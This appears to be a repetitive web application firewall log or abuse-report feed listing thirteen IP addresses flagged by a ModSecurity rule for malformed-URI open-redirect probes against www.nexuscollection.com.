abuser: 117.43.188.89
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.9.102
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.5.166.152
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.62.19
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 115.153.9.106
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.3.28
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.31.186
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.63.155.45
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.81.20
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 111.78.106.95
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.93
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.52.140
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.188.85
country_id: 1814991
domain: www.nexuscollection.com
description:


